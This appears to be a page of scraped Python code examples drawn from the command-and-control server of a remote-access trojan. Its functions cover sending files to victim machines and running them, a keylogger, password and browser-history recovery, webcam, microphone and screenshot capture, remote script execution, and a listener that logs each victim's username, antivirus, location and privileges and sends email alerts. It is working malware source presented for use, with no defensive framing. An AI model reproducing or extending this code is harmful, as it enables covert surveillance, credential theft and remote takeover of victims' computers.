Ejemplo n.º 1
0
def download(message):
    assert message['file']

    filename = validate_dict_key(message, 'file')
    execute = validate_dict_key(message, 'execute')

    username = state['session']['username']
    make_directories([username, f'{username}/downloads'])
    root = f'{state["root"]}/{username}/downloads/{filename}'

    message['max_file_size'] = state['settings']['max-file-size']
    if execute:
        del message['execute']

    data = session_message(message, False, loading_text='downloading file...')
    download = validate_dict_key(data, 'download', False)

    if download:
        with open(root, 'wb') as f:
            f.write(download)

        if execute:
            os.startfile(root)

    status_message(data['message'], data['text_mode'])
Ejemplo n.º 2
0
def close_client(index, module_type, write_stdout=True):
    state['sockets']['modules'][module_type][1][int(index)][0].close()

    if write_stdout:
        status_message(
            f'{module_type.capitalize()} client successfully closed',
            'success')
Ejemplo n.º 3
0
def stdout(low_message, message):
    if low_message == '':
        status_message(None, 'program')
    else:
        status_message(
            f'\'{message["message"]}\' command could not be found\nUse \'help\' command for assistance',
            'warning')
Ejemplo n.º 4
0
def interpreter(message):
    execute = validate_dict_key(message, 'execute')
    script = validate_dict_key(message, 'script')
    quiet = validate_dict_key(message, 'quiet')

    assert execute or script

    if script:
        parent_folder = state['settings']['folders']['parent']
        child_folder = state['settings']['folders']['child'][1]
        message['execute'] = read_file(
            f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(
                state['settings']['encoding'])
        del message['script']

    if quiet:
        del message['quiet']

    data = session_message(message, False)
    result = validate_dict_key(data, 'result')

    if result:
        if quiet is None:
            status_message(data['result'], 'pure', {'end': True})
            print()
        make_file(['interpreter'], 'txt',
                  bytes(data['result'], state['settings']['encoding']),
                  data['message'])
    else:
        status_message(data['message'], data['text_mode'])
Ejemplo n.º 5
0
def unbind_socket(module_type):
    for _ in range(len(state['sockets']['modules'][module_type][1])):
        close_client('0', module_type, False)

    state['sockets']['modules'][module_type][0].close()
    state['sockets']['modules'][module_type][0] = None
    status_message(f'{module_type.capitalize()} address successfully closed',
                   'success')
Ejemplo n.º 6
0
def enter_session(message):
  index = validate_dict_key(message, 'index')

  if index:
    state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None}
    status_message('Session succesfully established', 'success')
  else:
    raise Exception('Error message')
Ejemplo n.º 7
0
def exit_session(write_stdout=True, data=None):
    state['session'] = {
        'active': False,
        'socket': None,
        'username': None,
        'data': data
    }

    if write_stdout:
        status_message('Session successfully exited', 'success')
Ejemplo n.º 8
0
def exit_program():
    status_message(f'Exiting {state["name"]}', 'danger', {
        'dots': True,
        'end': True
    })

    for i in range(len(state['sockets']['clients'][0])):
        delete_client(i, False)

    os._exit(0)
Ejemplo n.º 9
0
def make_file(directories, file_type, data, success_message=None):
  filename = get_filename(file_type)
  username = state['session']['username']
  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'
  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
  make_directories(directories_to_make)

  with open(path, 'wb') as f:
    f.write(data)
  
  if success_message:
    status_message(f'Path: {path}\n{success_message}', 'success')
Ejemplo n.º 10
0
def session_queue():
    while True:
        for index in range(len(state['sockets']['clients'][0])):
            if time.time() - state['sockets']['clients'][2][index][
                    'timer'] >= state['settings']['keep-alive-count']:
                state['settings']['dynamic']['queue'].append(
                    (state['sockets']['clients'][0][index], {
                        'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'
                    }, False))
                state['sockets']['clients'][2][index]['timer'] = time.time()

        if state['settings']['dynamic']['queue']:
            for item in state['settings']['dynamic']['queue']:
                try:
                    send_data(
                        item[0], item[1], (state['settings']['encryption'],
                                           state['settings']['encoding'],
                                           state['settings']['headersize']),
                        {
                            'safe': state['options']['mode']['safe'],
                            'safe_timeout': state['settings']['safe-timeout']
                        })
                    data = recv_data(item[0],
                                     (state['settings']['encryption'],
                                      state['settings']['headersize']))

                    if item[2]:
                        state['session']['data'] = data
                except Exception as err:
                    write_error(err)

                    if item[2]:
                        exit_session(
                            False, {
                                'message':
                                'Timeout reached waiting for client response\nClient had to be disconnected',
                                'text_mode': 'danger'
                            })
                    elif state['session']['socket'] is item[0]:
                        exit_session(False)
                        print()
                        status_message(
                            'Timeout reached waiting for client response\nClient had to be disconnected',
                            'danger')

                    delete_client(index, False)
                finally:
                    state['settings']['dynamic']['queue'].remove(item)
        else:
            time.sleep(0.1)
Ejemplo n.º 11
0
def cam(data):
	ip = validate_dict_key(data, 'ip')
	port = validate_dict_key(data, 'port')
	unbind = validate_dict_key(data, 'unbind')
	resolution = validate_dict_key(data, 'resolution')
	monitor = validate_dict_key(data, 'monitor')
	close = validate_dict_key(data, 'close')
	status = validate_dict_key(data, 'status')
	fps = validate_dict_key(data, 'fps')
	fit = validate_dict_key(data, 'fit')
	recognize = validate_dict_key(data, 'recognize')

	if resolution:
		assert state['session']['active']
		
		if ip and port:
			data['ip'], data['port'] = ip, int(port)
		else:
			data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname()
		
		if monitor:
			data['monitor'] = int(monitor)
		else:
			data['monitor'] = 0

		if fps is None:
			data['fps'] = False
		
		if fit:
			del data['fit']

		if recognize:
			del data['recognize']
		
		del data['resolution']
		
		threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start()
		session_message(data)
	elif ip and port:
		if state['sockets']['modules']['cam'][0] is None:
			bind_socket(ip, port, 'cam')
		else:
			ip, port = state['sockets']['modules']['cam'][0].getsockname()
			status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True})
	elif unbind:
		if state['sockets']['modules']['cam'][0]:    
			unbind_socket('cam')
		else:
			status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning')
	elif close:
		close_client(close, 'cam')
	elif status:
		if state['sockets']['modules']['cam'][0]:
			ip, port = state['sockets']['modules']['cam'][0].getsockname()
			status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary')
		else:
			status_message('You are not listening for clients (cam module)', 'warning')
	else:
		raise Exception('Error message')
Ejemplo n.º 12
0
def bind_socket(ip, port, module_type, stdout=True):
    try:
        state['sockets']['modules'][module_type][0] = socket.socket(
            socket.AF_INET, socket.SOCK_STREAM)
        state['sockets']['modules'][module_type][0].bind((ip, int(port)))
        state['sockets']['modules'][module_type][0].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['modules'][module_type][0] = None
        raise Exception('Socket binding error')
    else:
        if stdout:
            status_message(
                f'{module_type.capitalize()} address successfully bound',
                'success')
Ejemplo n.º 13
0
def delete_client(client, write_stdout=True):
    state['sockets']['clients'][0][client].close()
    state['sockets']['clients'][0][client] = None

    username = state['sockets']['clients'][2][client]['username']
    if state['options']['information-gathering']['history']:
        make_directories([username])
        with open(f'{state["root"]}/{username}/history.txt', 'a') as f:
            f.write(f'{username} disconnected at {get_timestamp()}\n')

    for index, item in enumerate(state['sockets']['clients']):
        del state['sockets']['clients'][index][client]

    if write_stdout:
        status_message('Client successfully deleted', 'success')
Ejemplo n.º 14
0
def loading(text, blacklist):
    if state['settings']['loading-animation']:
        start_time = time.time()

        while True:
            for i in range(len(text)):
                if not state['settings']['dynamic']['is-loading']:
                    sys.exit(0)
                if text[i].lower() in blacklist:
                    continue
                text = text[:i].lower() + text[i:].capitalize()
                time_taken = time.time() - start_time
                status_message(f'[{time_taken:.1f}] {text}', 'loading',
                               {'end': True})
                time.sleep(0.1)
    else:
        status_message(text.capitalize(), 'loading', {'end': True})
Ejemplo n.º 15
0
def make_image(directories, data, show_image=True, success_message=None, image_type=None):
  filename = get_filename('png')
  username = state['session']['username']
  path = f'{state["root"]}/{username}/{directories[-1]}/{filename}'     
  directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
  make_directories(directories_to_make)

  if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
    data.save(path)

  if show_image:
    data.show()
  
  if success_message:
    if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']):
      status_message(f'Path: {path}\n{success_message}', 'success')
    else:
      status_message(success_message, 'success')
Ejemplo n.º 16
0
def session_message(message, piped_data=True, loading_text='loading...'):
    data = session_wait((state['session']['socket'], message, True),
                        loading_text)

    text_mode = validate_dict_key(data, 'text_mode')
    text_extras = validate_dict_key(data, 'text_extras')

    if state['options']['information-gathering']['backup']['text']:
        make_file(['backup', 'backup/text'], 'txt',
                  bytes(data['message'], state['settings']['encoding']))

    if state['options']['information-gathering']['backup']['image']:
        make_image(['backup', 'backup/image'], text_to_image(data['message']),
                   False)

    if piped_data:
        if text_mode is None:
            status_message(data['message'], 'pure')
        else:
            if text_extras:
                status_message(data['message'], text_mode, text_extras)
            else:
                status_message(data['message'], text_mode)
    else:
        return data
Ejemplo n.º 17
0
    def func_wrapper(*args):
        try:
            number_of_arguments = len(args)

            if number_of_arguments == 1:
                func(args[0])
            elif number_of_arguments == 2:
                func(args[0], args[1])
            elif number_of_arguments == 3:
                func(args[0], args[1], args[2])
            elif number_of_arguments == 4:
                func(args[0], args[1], args[2], args[3])
            elif number_of_arguments == 5:
                func(args[0], args[1], args[2], args[3], args[4])
            elif number_of_arguments == 6:
                func(args[0], args[1], args[2], args[3], args[4], args[5])
            elif number_of_arguments == 7:
                func(args[0], args[1], args[2], args[3], args[4], args[5],
                     args[6])
        except Exception as err:
            write_error(err)

            if state['session']['active'] and func.__name__ in [
                    *state['sockets']['modules']
            ]:
                func_key = validate_dict_key(help_obj, f'{func.__name__}_2',
                                             False)
            elif func.__name__ == 'listening':
                func_key = validate_dict_key(help_obj, 'listen', False)
            else:
                func_key = validate_dict_key(help_obj, func.__name__, False)

            if func_key:
                status_message(
                    f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}',
                    'danger')
            else:
                status_message(
                    'Exception was reached, something went wrong\nPlease validate your input & try again',
                    'danger')
Ejemplo n.º 18
0
def server(message):
    ip = validate_dict_key(message, 'ip')
    port = validate_dict_key(message, 'port')
    status = validate_dict_key(message, 'status')
    unbind = validate_dict_key(message, 'unbind')

    if port and ip:
        if state['sockets']['server'] is None:
            threading.Thread(target=listening, args=(ip, port),
                             daemon=True).start()
        else:
            ip, port = state['sockets']['server'].getsockname()
            status_message(
                f'You are already listening for clients on {ip}:{port}',
                'danger', {'dots': True})
    elif status:
        if state['sockets']['server']:
            ip, port = state['sockets']['server'].getsockname()
            status_message(f'You are listening for clients on {ip}:{port}',
                           'primary')
        else:
            status_message('You are not listening for clients', 'warning')
    elif unbind:
        if state['sockets']['server']:
            state['sockets']['server'].close()
            state['sockets']['server'] = None

            for index, client in enumerate(state['sockets']['clients'][0]):
                delete_client(index, False)

            status_message(
                'You\'re no longer listening for clients\nServer socket is now closed',
                'success')
        else:
            status_message(
                f'You\'re not listening for clients\nThere is no server socket to close',
                'warning')
    else:
        raise Exception('Error message')
Ejemplo n.º 19
0
def keylogger(message):
    run = validate_dict_key(message, 'run')
    download = validate_dict_key(message, 'download')
    close = validate_dict_key(message, 'close')
    status = validate_dict_key(message, 'status')
    quiet = validate_dict_key(message, 'quiet')

    if run:
        message['action_type'] = 'run'
        del message['run']
        session_message(message)
    elif download:
        message['action_type'] = 'download'
        del message['download']
        data = session_message(message, False)

        logs = validate_dict_key(data, 'logs')

        if logs:
            if quiet is None:
                status_message(logs.decode(state['settings']['encoding']),
                               'raw')
                print()
            make_file(['keylogger'], 'txt', logs, data['message'])
        else:
            status_message(data['message'], data['text_mode'])
    elif close:
        message['action_type'] = 'close'
        del message['close']
        session_message(message)
    elif status:
        message['action_type'] = 'status'
        del message['status']
        session_message(message)
    else:
        raise Exception('Error message')
Ejemplo n.º 20
0
def make_history(directories, file_type, browserhistory, success_message=None):
    filename = get_filename(file_type)
    username = state['session']['username']
    path = f'{state["root"]}/{username}/{directories[-1]}'
    directories_to_make = [username] + [
        f'{username}/{directory}' for directory in directories
    ]
    make_directories(directories_to_make)

    for browser, history in browserhistory.items():
        with open(f'{path}/{browser}_{filename}',
                  'w',
                  encoding='utf-8',
                  newline='') as csvfile:
            csv_writer = csv.writer(csvfile,
                                    delimiter=',',
                                    quoting=csv.QUOTE_ALL)

            for data in history:
                csv_writer.writerow(data)

    if success_message:
        status_message(f'Path: {path}/[browser]_{filename}\n{success_message}',
                       'success')
Ejemplo n.º 21
0
def program_setup():
    parser = argparse.ArgumentParser(description=state['description'])
    parser.add_argument('-ip',
                        '--ipv4',
                        default='localhost',
                        help='IP of host.')
    parser.add_argument('-p',
                        '--port',
                        type=int,
                        default=1200,
                        help='Port of host.')
    args = parser.parse_args()

    try:
        get_io_channels()
        threading.Thread(target=listening,
                         args=(args.ipv4, str(args.port), False),
                         daemon=True).start()
        for index, module in enumerate([*state['sockets']['modules']]):
            bind_socket(args.ipv4, str(args.port + (index + 1)), module, False)
    except Exception as err:
        write_error(err)
        status_message(
            'Socket binding error, please verify IP / port argument', 'danger',
            {'end': True})
        raise Exception('Argument parsing error')

    threading.Thread(target=session_queue, daemon=True).start()

    status_message(text_to_ascii(state['name']), 'pure', {'end': True})
    print()
    status_message(state['description'], 'pure', {'end': True})
    print()
    status_message(state['author'], 'pure', {'end': True})
    print()
    status_message(None, 'program')
Ejemplo n.º 22
0
def audio(data):
  ip = validate_dict_key(data, 'ip')
  port = validate_dict_key(data, 'port')
  run = validate_dict_key(data, 'run')
  quiet = validate_dict_key(data, 'quiet')
  unbind = validate_dict_key(data, 'unbind')
  close = validate_dict_key(data, 'close')
  status = validate_dict_key(data, 'status')

  if run:
    assert state['session']['active']

    if ip and port:
      data['ip'], data['port'] = ip, int(port)
    else:
      data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname()

    if quiet:
      del data['quiet']
      
    del data['run']

    threading.Thread(target=audio_action, args=(quiet,), daemon=True).start()
    session_message(data)
  elif ip and port:
    if state['sockets']['modules']['audio'][0] is None:
      bind_socket(ip, port, 'audio')
    else:
      ip, port = state['sockets']['modules']['audio'][0].getsockname()
      status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True})
  elif unbind:
    if state['sockets']['modules']['audio'][0]:    
      unbind_socket('audio')
    else:
      status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning')
  elif close:
    close_client(close, 'audio')
  elif status:
    if state['sockets']['modules']['audio'][0]:
      ip, port = state['sockets']['modules']['audio'][0].getsockname()
      status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary')
    else:
      status_message('You are not listening for clients (audio module)', 'warning')
  else:
    raise Exception('Error message')
Ejemplo n.º 23
0
def list_clients():
  number_of_clients_connected = len(state['sockets']['clients'][0])
  clients_list = state['sockets']['clients'][1]
  all_clients = []

  if number_of_clients_connected == 0 and state['sockets']['server'] is None:
    status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True})
  elif number_of_clients_connected == 0:
    status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True})
  else:
    for index, addr in enumerate(clients_list):
      user_data = state['sockets']['clients'][2][index]
      all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']])
    
    status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True})
  
  print()
  status_message(None, 'program')
Ejemplo n.º 24
0
def sockets():
    if state['sockets']['server']:
        ip, port = state['sockets']['server'].getsockname()
        status_message('Server:', 'magenta', {'end': True, 'point': 'empty'})
        status_message(f'    - Listening', 'pure', {'end': True})
    else:
        status_message('Server:', 'magenta', {'end': True, 'point': 'empty'})
        status_message(f'    - Not listening', 'pure', {'end': True})

    for key, value in state['sockets']['modules'].items():
        if value[0]:
            ip, port = value[0].getsockname()
            status_message(f'{key.capitalize()}:', 'magenta', {
                'end': True,
                'point': 'empty'
            })
        else:
            status_message(f'{key.capitalize()}:', 'magenta', {
                'end': True,
                'point': 'empty'
            })
            status_message('    - Not listening', 'pure', {'end': True})
            continue

        if len(value[1]) == 0:
            status_message('    - None running', 'pure', {'end': True})
        else:
            for index, module_client in enumerate(value[1]):
                status_message(f'    - [{index}] {module_client[1]}', 'pure',
                               {'end': True})

    print()
    status_message(None, 'program')
Ejemplo n.º 25
0
def options(message):
    key = validate_dict_key(message, 'key')
    value = validate_dict_key(message, 'value')
    available = validate_dict_key(message, 'available')

    if key and value:
        key_list = key.split('/')
        key_len = len(key_list)

        assert key in options_list[0]
        value = validate_option(value,
                                options_list[1][options_list[0].index(key)])

        if key_len == 2:
            state['options'][key_list[0]][key_list[1]] = value
        elif key_len == 3:
            state['options'][key_list[0]][key_list[1]][key_list[2]] = value
        elif key_len == 4:
            state['options'][key_list[0]][key_list[1]][key_list[2]][
                key_list[3]] = value
        else:
            raise Exception('Key length is invalid')
        status_message(f'Option: {key} is now set to {value}', 'success')
    elif available:
        options = state['options']
        categories = ['mode', 'validation', 'information-gathering', 'notice']

        for categorie in categories:
            option_category = options[categorie]

            status_message(f'{categorie.capitalize()}:', 'magenta', {
                'end': True,
                'point': 'empty'
            })
            for key, value in option_category.items():
                if 'dict' in str(type(value)):
                    status_message(f'- {key.capitalize()}:', 'magenta', {
                        'end': True,
                        'point': 'empty'
                    })
                    for key_2, value_2 in value.items():
                        status_message(
                            f'        - {key_2.capitalize()}: {value_2}',
                            'pure', {'end': True})
                else:
                    status_message(f'    - {key.capitalize()}: {value}',
                                   'pure', {'end': True})
            print()
        status_message(None, 'program')
    else:
        raise Exception('Error message')
Ejemplo n.º 26
0
def get_help():
  all_commands = []
  for key, value in help_obj.items():
    all_commands.append([value['type'], value['usage'], value['description']])
  
  status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure')
Ejemplo n.º 27
0
def recover(message):
    password = validate_dict_key(message, 'password')
    history = validate_dict_key(message, 'history')
    quiet = validate_dict_key(message, 'quiet')
    force = validate_dict_key(message, 'force')

    if force is None:
        message['force'] = False

    if password:
        del message['password']
        message['action_type'] = 'password'

        if quiet:
            del message['quiet']

        data = session_message(message, False)

        if quiet is None:
            text = [x for x in data['message'].split('\n') if x != '']
            count = 0

            for line in text:
                if line[:3] == '[+]':
                    print()
                    status_message(line[4:], 'success', {
                        'end': True,
                        'point': 'empty'
                    })
                elif line[:3] == '[-]':
                    print()
                    status_message(line[4:], 'danger', {
                        'end': True,
                        'point': 'empty'
                    })
                elif line[:19] == '-------------------':
                    if count != 0: print()
                    count += 1
                    status_message(line, 'raw')
                else:
                    status_message(line, 'raw')
            print()

        make_file(['recover', 'recover/password'], 'txt',
                  bytes(data['message'], 'utf-8'),
                  'Passwords succesfully recovered')
    elif history:
        del message['history']
        message['action_type'] = 'history'

        if quiet:
            del message['quiet']

        data = session_message(message, False)

        if quiet is None:
            for browser, browser_data in data['message'].items():
                browser = browser.capitalize()
                for link, title, date in browser_data:
                    status_message(f'{browser}: {link}, {title}, {date}',
                                   'pure', {'end': True})
            print()

        make_history(['recover', 'recover/history'], 'csv', data['message'],
                     'Browser history succesfully recovered')
    else:
        raise Exception('Error message')
Ejemplo n.º 28
0
def listening(host, port, stdout=True):
    try:
        state['sockets']['server'] = socket.socket(socket.AF_INET,
                                                   socket.SOCK_STREAM)
        state['sockets']['server'].bind((host, int(port)))
        state['sockets']['server'].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['server'] = None

        if stdout:
            raise Exception('Socket binding error')
        else:
            sys.exit(0)
    else:
        if stdout:
            status_message(f'Listening on port {port}', 'success', {
                'dots': True,
                'point': 'dot'
            })

    while True:
        try:
            client, addr = state['sockets']['server'].accept()
        except Exception as err:
            write_error(err)
            break

        try:
            send_data(
                client, {
                    'message': 'CsBLDS4n5zPYq7JaxDjxWHK4',
                    'silent': state['options']['mode']['silent'],
                    'io_channels': state['settings']['io-channels']
                }, (state['settings']['encryption'],
                    state['settings']['encoding'],
                    state['settings']['headersize']), {
                        'safe': state['options']['mode']['safe'],
                        'safe_timeout': state['settings']['safe-timeout']
                    })
            data = recv_data(client, (state['settings']['encryption'],
                                      state['settings']['headersize']))
            data.update({'timer': time.time()})

            add_client = True

            if os.path.isfile(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
            ):
                blacklist = read_file(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
                ).decode(state['settings']['encoding']).strip().split('\n')
                for ip in blacklist:
                    try:
                        ip = socket.gethostbyname(ip)
                    except Exception as err:
                        write_error(err)

                    if addr[0] == ip:
                        add_client = False

            if not state['options']['validation']['duplicates']:
                for client_data_obj in state['sockets']['clients'][2]:
                    if data['username'] == client_data_obj['username']:
                        add_client = False

            if len(state['sockets']['clients']
                   [0]) >= state['options']['validation']['max-clients']:
                add_client = False

            if add_client:
                if state['options']['information-gathering']['history']:
                    make_directories([data['username']])
                    with open(
                            f'{state["root"]}/{data["username"]}/history.txt',
                            'a') as f:
                        f.write(
                            f'{data["username"]} connected at {get_timestamp()}\n'
                        )

                data_list = (client, addr, data)

                if state['options']['information-gathering']['whoami']:
                    make_directories([data['username']])
                    with open(f'{state["root"]}/{data["username"]}/whoami.txt',
                              'a') as f:
                        title = f'Whoami at {get_timestamp()}'
                        text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                        f.write(f'{title}\n{text}\n{"-" * len(title)}\n')

                for index, item in enumerate(state['sockets']['clients']):
                    item.append(data_list[index])

                if state['options']['notice']['email-notice']:
                    send_email(
                        state['options']['notice']['email-data']['email'],
                        state['options']['notice']['email-data']['password'],
                        state['options']['notice']['email-data']['to'],
                        'Connection Notice!',
                        f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                    )
            else:
                client.close()
        except Exception as err:
            write_error(err)